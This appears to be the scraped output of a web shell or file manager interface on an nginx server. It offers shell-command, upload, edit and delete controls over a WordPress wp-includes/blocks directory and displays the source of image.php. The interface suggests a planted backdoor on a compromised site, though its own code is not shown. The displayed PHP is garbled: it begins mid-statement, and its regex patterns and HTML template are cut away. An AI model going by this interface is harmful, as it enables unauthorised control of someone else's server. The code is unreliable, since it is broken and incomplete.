Server: appserver-7f0f8755-nginx-15961cad18524ec5a9db05f2a6a7e440
Current directory: /code/wp-includes/blocks
Software: nginx/1.27.5
Shell Command
Create a new file
Upload file
File: image.php
next_tag( 'img' ) || null === $p->get_attribute( 'src' ) ) { return ''; } $has_id_binding = isset( $attributes['metadata']['bindings']['id'] ) && isset( $attributes['id'] ); // Ensure the `wp-image-id` classname on the image block supports block bindings. if ( $has_id_binding ) { // If there's a mismatch with the 'wp-image-' class and the actual id, the id was // probably overridden by block bindings. Update it to the correct value. // See https://github.com/WordPress/gutenberg/issues/62886 for why this is needed. $id = $attributes['id']; $image_classnames = $p->get_attribute( 'class' ); $class_with_binding_value = "wp-image-$id"; if ( is_string( $image_classnames ) && ! str_contains( $image_classnames, $class_with_binding_value ) ) { $image_classnames = preg_replace( '/wp-image-(\d+)/', $class_with_binding_value, $image_classnames ); $p->set_attribute( 'class', $image_classnames ); } } // For backwards compatibility, the data-id html attribute is only set for // image blocks nested in a gallery. Detect if the image is in a gallery by // checking the data-id attribute. // See the `block_core_gallery_data_id_backcompatibility` function. if ( isset( $attributes['data-id'] ) ) { // If there's a binding for the `id`, the `id` attribute is used for the // value, since `data-id` does not support block bindings. // Else the `data-id` is used for backwards compatibility, since // third parties may be filtering its value. $data_id = $has_id_binding ? $attributes['id'] : $attributes['data-id']; $p->set_attribute( 'data-id', $data_id ); } $link_destination = isset( $attributes['linkDestination'] ) ? $attributes['linkDestination'] : 'none'; $lightbox_settings = block_core_image_get_lightbox_settings( $block->parsed_block ); /* * If the lightbox is enabled and the image is not linked, adds the filter and * the JavaScript view file. */ if ( isset( $lightbox_settings ) && 'none' === $link_destination && isset( $lightbox_settings['enabled'] ) && true === $lightbox_settings['enabled'] ) { $suffix = wp_scripts_get_suffix(); if ( defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN ) { $module_url = gutenberg_url( '/build/interactivity/image.min.js' ); } wp_register_script_module( '@wordpress/block-library/image', isset( $module_url ) ? $module_url : includes_url( "blocks/image/view{$suffix}.js" ), array( '@wordpress/interactivity' ), defined( 'GUTENBERG_VERSION' ) ? GUTENBERG_VERSION : get_bloginfo( 'version' ) ); wp_enqueue_script_module( '@wordpress/block-library/image' ); /* * This render needs to happen in a filter with priority 15 to ensure that * it runs after the duotone filter and that duotone styles are applied to * the image in the lightbox. Lightbox has to work with any plugins that * might use filters as well. Removing this can be considered in the future * if the way the blocks are rendered changes, or if a new kind of filter is * introduced. */ add_filter( 'render_block_core/image', 'block_core_image_render_lightbox', 15, 2 ); } else { /* * Remove the filter if previously added by other Image blocks. */ remove_filter( 'render_block_core/image', 'block_core_image_render_lightbox', 15 ); } return $p->get_updated_html(); } /** * Adds the lightboxEnabled flag to the block data. * * This is used to determine whether the lightbox should be rendered or not. * * @since 6.4.0 * * @param array $block Block data. * * @return array Filtered block data. */ function block_core_image_get_lightbox_settings( $block ) { // Gets the lightbox setting from the block attributes. if ( isset( $block['attrs']['lightbox'] ) ) { $lightbox_settings = $block['attrs']['lightbox']; } if ( ! isset( $lightbox_settings ) ) { $lightbox_settings = wp_get_global_settings( array( 'lightbox' ), array( 'block_name' => 'core/image' ) ); // If not present in global settings, check the top-level global settings. // // NOTE: If no block-level settings are found, the previous call to // `wp_get_global_settings` will return the whole `theme.json` structure in // which case we can check if the "lightbox" key is present at the top-level // of the global settings and use its value. if ( isset( $lightbox_settings['lightbox'] ) ) { $lightbox_settings = wp_get_global_settings( array( 'lightbox' ) ); } } return $lightbox_settings ?? null; } /** * Adds the directives and layout needed for the lightbox behavior. * * @since 6.4.0 * * @param string $block_content Rendered block content. * @param array $block Block object. * * @return string Filtered block content. */ function block_core_image_render_lightbox( $block_content, $block ) { /* * If there's no IMG tag in the block then return the given block content * as-is. There's nothing that this code can knowingly modify to add the * lightbox behavior. */ $p = new WP_HTML_Tag_Processor( $block_content ); if ( $p->next_tag( 'figure' ) ) { $p->set_bookmark( 'figure' ); } if ( ! $p->next_tag( 'img' ) ) { return $block_content; } $alt = $p->get_attribute( 'alt' ); $img_uploaded_src = $p->get_attribute( 'src' ); $img_class_names = $p->get_attribute( 'class' ); $img_styles = $p->get_attribute( 'style' ); $img_width = 'none'; $img_height = 'none'; $aria_label = __( 'Enlarge image' ); if ( $alt ) { /* translators: %s: Image alt text. */ $aria_label = sprintf( __( 'Enlarge image: %s' ), $alt ); } if ( isset( $block['attrs']['id'] ) ) { $img_uploaded_src = wp_get_attachment_url( $block['attrs']['id'] ); $img_metadata = wp_get_attachment_metadata( $block['attrs']['id'] ); $img_width = $img_metadata['width'] ?? 'none'; $img_height = $img_metadata['height'] ?? 'none'; } // Figure. $p->seek( 'figure' ); $figure_class_names = $p->get_attribute( 'class' ); $figure_styles = $p->get_attribute( 'style' ); $p->add_class( 'wp-lightbox-container' ); $p->set_attribute( 'data-wp-interactive', 'core/image' ); $p->set_attribute( 'data-wp-context', wp_json_encode( array( 'uploadedSrc' => $img_uploaded_src, 'figureClassNames' => $figure_class_names, 'figureStyles' => $figure_styles, 'imgClassNames' => $img_class_names, 'imgStyles' => $img_styles, 'targetWidth' => $img_width, 'targetHeight' => $img_height, 'scaleAttr' => $block['attrs']['scale'] ?? false, 'ariaLabel' => $aria_label, 'alt' => $alt, ), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP ) ); // Image. $p->next_tag( 'img' ); $p->set_attribute( 'data-wp-init', 'callbacks.setButtonStyles' ); $p->set_attribute( 'data-wp-on-async--load', 'callbacks.setButtonStyles' ); $p->set_attribute( 'data-wp-on-async-window--resize', 'callbacks.setButtonStyles' ); // Sets an event callback on the `img` because the `figure` element can also // contain a caption, and we don't want to trigger the lightbox when the // caption is clicked. $p->set_attribute( 'data-wp-on-async--click', 'actions.showLightbox' ); $body_content = $p->get_updated_html(); // Adds a button alongside image in the body content. $img = null; preg_match( '/
]+>/', $body_content, $img ); $button = $img[0] . '
'; $body_content = preg_replace( '/
]+>/', $button, $body_content ); add_action( 'wp_footer', 'block_core_image_print_lightbox_overlay' ); return $body_content; } /** * @since 6.5.0 */ function block_core_image_print_lightbox_overlay() { $close_button_label = esc_attr__( 'Close' ); // If the current theme does NOT have a `theme.json`, or the colors are not // defined, it needs to set the background color & close button color to some // default values because it can't get them from the Global Styles. $background_color = '#fff'; $close_button_color = '#000'; if ( wp_theme_has_theme_json() ) { $global_styles_color = wp_get_global_styles( array( 'color' ) ); if ( ! empty( $global_styles_color['background'] ) ) { $background_color = esc_attr( $global_styles_color['background'] ); } if ( ! empty( $global_styles_color['text'] ) ) { $close_button_color = esc_attr( $global_styles_color['text'] ); } } echo <<
HTML; } /** * Registers the `core/image` block on server. * * @since 5.9.0 */ function register_block_core_image() { register_block_type_from_metadata( __DIR__ . '/image', array( 'render_callback' => 'render_block_core_image', ) ); } add_action( 'init', 'register_block_core_image' );
.
165 Items
Change directory
Remove directory
Rename directory
..
270 Items
Change directory
Remove directory
Rename directory
archives
9 Items
Change directory
Remove directory
Rename directory
archives.php
2.92 KB
Edit
Delete
Copy
Move
Remame
audio
13 Items
Change directory
Remove directory
Rename directory
avatar
9 Items
Change directory
Remove directory
Rename directory
avatar.php
5.75 KB
Edit
Delete
Copy
Move
Remame
block
1 Items
Change directory
Remove directory
Rename directory
block.php
3.13 KB
Edit
Delete
Copy
Move
Remame
blocks-json.php
168.64 KB
Edit
Delete
Copy
Move
Remame
button
9 Items
Change directory
Remove directory
Rename directory
button.php
1.76 KB
Edit
Delete
Copy
Move
Remame
buttons
9 Items
Change directory
Remove directory
Rename directory
calendar
5 Items
Change directory
Remove directory
Rename directory
calendar.php
5.93 KB
Edit
Delete
Copy
Move
Remame
categories
9 Items
Change directory
Remove directory
Rename directory
categories.php
2.87 KB
Edit
Delete
Copy
Move
Remame
code
13 Items
Change directory
Remove directory
Rename directory
column
1 Items
Change directory
Remove directory
Rename directory
columns
9 Items
Change directory
Remove directory
Rename directory
comment-author-name
1 Items
Change directory
Remove directory
Rename directory
comment-author-name.php
2.08 KB
Edit
Delete
Copy
Move
Remame
comment-content
5 Items
Change directory
Remove directory
Rename directory
comment-content.php
2.4 KB
Edit
Delete
Copy
Move
Remame
comment-date
1 Items
Change directory
Remove directory
Rename directory
comment-date.php
1.6 KB
Edit
Delete
Copy
Move
Remame
comment-edit-link
1 Items
Change directory
Remove directory
Rename directory
comment-edit-link.php
1.67 KB
Edit
Delete
Copy
Move
Remame
comment-reply-link
1 Items
Change directory
Remove directory
Rename directory
comment-reply-link.php
2.03 KB
Edit
Delete
Copy
Move
Remame
comment-template
5 Items
Change directory
Remove directory
Rename directory
comment-template.php
4.39 KB
Edit
Delete
Copy
Move
Remame
comments
9 Items
Change directory
Remove directory
Rename directory
comments-pagination
9 Items
Change directory
Remove directory
Rename directory
comments-pagination-next
1 Items
Change directory
Remove directory
Rename directory
comments-pagination-next.php
1.85 KB
Edit
Delete
Copy
Move
Remame
comments-pagination-numbers
5 Items
Change directory
Remove directory
Rename directory
comments-pagination-numbers.php
1.59 KB
Edit
Delete
Copy
Move
Remame
comments-pagination-previous
1 Items
Change directory
Remove directory
Rename directory
comments-pagination-previous.php
1.64 KB
Edit
Delete
Copy
Move
Remame
comments-pagination.php
1.17 KB
Edit
Delete
Copy
Move
Remame
comments-title
5 Items
Change directory
Remove directory
Rename directory
comments-title.php
2.71 KB
Edit
Delete
Copy
Move
Remame
comments.php
6.61 KB
Edit
Delete
Copy
Move
Remame
cover
9 Items
Change directory
Remove directory
Rename directory
cover.php
2.49 KB
Edit
Delete
Copy
Move
Remame
details
9 Items
Change directory
Remove directory
Rename directory
embed
13 Items
Change directory
Remove directory
Rename directory
file
13 Items
Change directory
Remove directory
Rename directory
file.php
2.19 KB
Edit
Delete
Copy
Move
Remame
footnotes
5 Items
Change directory
Remove directory
Rename directory
footnotes.php
3.68 KB
Edit
Delete
Copy
Move
Remame
freeform
5 Items
Change directory
Remove directory
Rename directory
gallery
13 Items
Change directory
Remove directory
Rename directory
gallery.php
6.29 KB
Edit
Delete
Copy
Move
Remame
group
13 Items
Change directory
Remove directory
Rename directory
heading
5 Items
Change directory
Remove directory
Rename directory
heading.php
1.27 KB
Edit
Delete
Copy
Move
Remame
home-link
1 Items
Change directory
Remove directory
Rename directory
home-link.php
5.6 KB
Edit
Delete
Copy
Move
Remame
html
5 Items
Change directory
Remove directory
Rename directory
image
17 Items
Change directory
Remove directory
Rename directory
image.php
11.86 KB
Edit
Delete
Copy
Move
Remame
index.php
4.48 KB
Edit
Delete
Copy
Move
Remame
latest-comments
5 Items
Change directory
Remove directory
Rename directory
latest-comments.php
4.92 KB
Edit
Delete
Copy
Move
Remame
latest-posts
9 Items
Change directory
Remove directory
Rename directory
latest-posts.php
8.35 KB
Edit
Delete
Copy
Move
Remame
legacy-widget
1 Items
Change directory
Remove directory
Rename directory
legacy-widget.php
3.9 KB
Edit
Delete
Copy
Move
Remame
list
5 Items
Change directory
Remove directory
Rename directory
list-item
1 Items
Change directory
Remove directory
Rename directory
list.php
1.24 KB
Edit
Delete
Copy
Move
Remame
loginout
1 Items
Change directory
Remove directory
Rename directory
loginout.php
1.38 KB
Edit
Delete
Copy
Move
Remame
media-text
9 Items
Change directory
Remove directory
Rename directory
media-text.php
4.16 KB
Edit
Delete
Copy
Move
Remame
missing
1 Items
Change directory
Remove directory
Rename directory
more
5 Items
Change directory
Remove directory
Rename directory
navigation
15 Items
Change directory
Remove directory
Rename directory
navigation-link
9 Items
Change directory
Remove directory
Rename directory
navigation-link.php
13.21 KB
Edit
Delete
Copy
Move
Remame
navigation-submenu
5 Items
Change directory
Remove directory
Rename directory
navigation-submenu.php
9.09 KB
Edit
Delete
Copy
Move
Remame
navigation.php
59.26 KB
Edit
Delete
Copy
Move
Remame
nextpage
5 Items
Change directory
Remove directory
Rename directory
page-list
9 Items
Change directory
Remove directory
Rename directory
page-list-item
1 Items
Change directory
Remove directory
Rename directory
page-list-item.php
0.35 KB
Edit
Delete
Copy
Move
Remame
page-list.php
13.25 KB
Edit
Delete
Copy
Move
Remame
paragraph
9 Items
Change directory
Remove directory
Rename directory
pattern
1 Items
Change directory
Remove directory
Rename directory
pattern.php
2.14 KB
Edit
Delete
Copy
Move
Remame
post-author
5 Items
Change directory
Remove directory
Rename directory
post-author-biography
1 Items
Change directory
Remove directory
Rename directory
post-author-biography.php
1.49 KB
Edit
Delete
Copy
Move
Remame
post-author-name
1 Items
Change directory
Remove directory
Rename directory
post-author-name.php
1.78 KB
Edit
Delete
Copy
Move
Remame
post-author.php
2.54 KB
Edit
Delete
Copy
Move
Remame
post-comments-form
9 Items
Change directory
Remove directory
Rename directory
post-comments-form.php
2.74 KB
Edit
Delete
Copy
Move
Remame
post-content
5 Items
Change directory
Remove directory
Rename directory
post-content.php
2.11 KB
Edit
Delete
Copy
Move
Remame
post-date
5 Items
Change directory
Remove directory
Rename directory
post-date.php
2.33 KB
Edit
Delete
Copy
Move
Remame
post-excerpt
9 Items
Change directory
Remove directory
Rename directory
post-excerpt.php
3.37 KB
Edit
Delete
Copy
Move
Remame
post-featured-image
9 Items
Change directory
Remove directory
Rename directory
post-featured-image.php
9.14 KB
Edit
Delete
Copy
Move
Remame
post-navigation-link
5 Items
Change directory
Remove directory
Rename directory
post-navigation-link.php
4.72 KB
Edit
Delete
Copy
Move
Remame
post-template
9 Items
Change directory
Remove directory
Rename directory
post-template.php
5.61 KB
Edit
Delete
Copy
Move
Remame
post-terms
5 Items
Change directory
Remove directory
Rename directory
post-terms.php
3.6 KB
Edit
Delete
Copy
Move
Remame
post-title
5 Items
Change directory
Remove directory
Rename directory
post-title.php
2.09 KB
Edit
Delete
Copy
Move
Remame
preformatted
5 Items
Change directory
Remove directory
Rename directory
pullquote
13 Items
Change directory
Remove directory
Rename directory
query
9 Items
Change directory
Remove directory
Rename directory
query-no-results
1 Items
Change directory
Remove directory
Rename directory
query-no-results.php
1.8 KB
Edit
Delete
Copy
Move
Remame
query-pagination
9 Items
Change directory
Remove directory
Rename directory
query-pagination-next
1 Items
Change directory
Remove directory
Rename directory
query-pagination-next.php
3.7 KB
Edit
Delete
Copy
Move
Remame
query-pagination-numbers
5 Items
Change directory
Remove directory
Rename directory
query-pagination-numbers.php
4.66 KB
Edit
Delete
Copy
Move
Remame
query-pagination-previous
1 Items
Change directory
Remove directory
Rename directory
query-pagination-previous.php
3.1 KB
Edit
Delete
Copy
Move
Remame
query-pagination.php
1.15 KB
Edit
Delete
Copy
Move
Remame
query-title
5 Items
Change directory
Remove directory
Rename directory
query-title.php
2.05 KB
Edit
Delete
Copy
Move
Remame
query.php
6.16 KB
Edit
Delete
Copy
Move
Remame
quote
9 Items
Change directory
Remove directory
Rename directory
read-more
5 Items
Change directory
Remove directory
Rename directory
read-more.php
1.79 KB
Edit
Delete
Copy
Move
Remame
require-dynamic-blocks.php
4.01 KB
Edit
Delete
Copy
Move
Remame
require-static-blocks.php
0.49 KB
Edit
Delete
Copy
Move
Remame
rss
9 Items
Change directory
Remove directory
Rename directory
rss.php
3.87 KB
Edit
Delete
Copy
Move
Remame
search
17 Items
Change directory
Remove directory
Rename directory
search.php
22.97 KB
Edit
Delete
Copy
Move
Remame
separator
13 Items
Change directory
Remove directory
Rename directory
shortcode
5 Items
Change directory
Remove directory
Rename directory
shortcode.php
0.72 KB
Edit
Delete
Copy
Move
Remame
site-logo
9 Items
Change directory
Remove directory
Rename directory
site-logo.php
6.05 KB
Edit
Delete
Copy
Move
Remame
site-tagline
5 Items
Change directory
Remove directory
Rename directory
site-tagline.php
1.17 KB
Edit
Delete
Copy
Move
Remame
site-title
9 Items
Change directory
Remove directory
Rename directory
site-title.php
1.77 KB
Edit
Delete
Copy
Move
Remame
social-link
5 Items
Change directory
Remove directory
Rename directory
social-link.php
62.67 KB
Edit
Delete
Copy
Move
Remame
social-links
9 Items
Change directory
Remove directory
Rename directory
spacer
9 Items
Change directory
Remove directory
Rename directory
table
13 Items
Change directory
Remove directory
Rename directory
tag-cloud
5 Items
Change directory
Remove directory
Rename directory
tag-cloud.php
1.41 KB
Edit
Delete
Copy
Move
Remame
template-part
9 Items
Change directory
Remove directory
Rename directory
template-part.php
9.86 KB
Edit
Delete
Copy
Move
Remame
term-description
5 Items
Change directory
Remove directory
Rename directory
term-description.php
1.3 KB
Edit
Delete
Copy
Move
Remame
text-columns
9 Items
Change directory
Remove directory
Rename directory
verse
5 Items
Change directory
Remove directory
Rename directory
video
13 Items
Change directory
Remove directory
Rename directory
widget-group
1 Items
Change directory
Remove directory
Rename directory
widget-group.php
2.38 KB
Edit
Delete
Copy
Move
Remame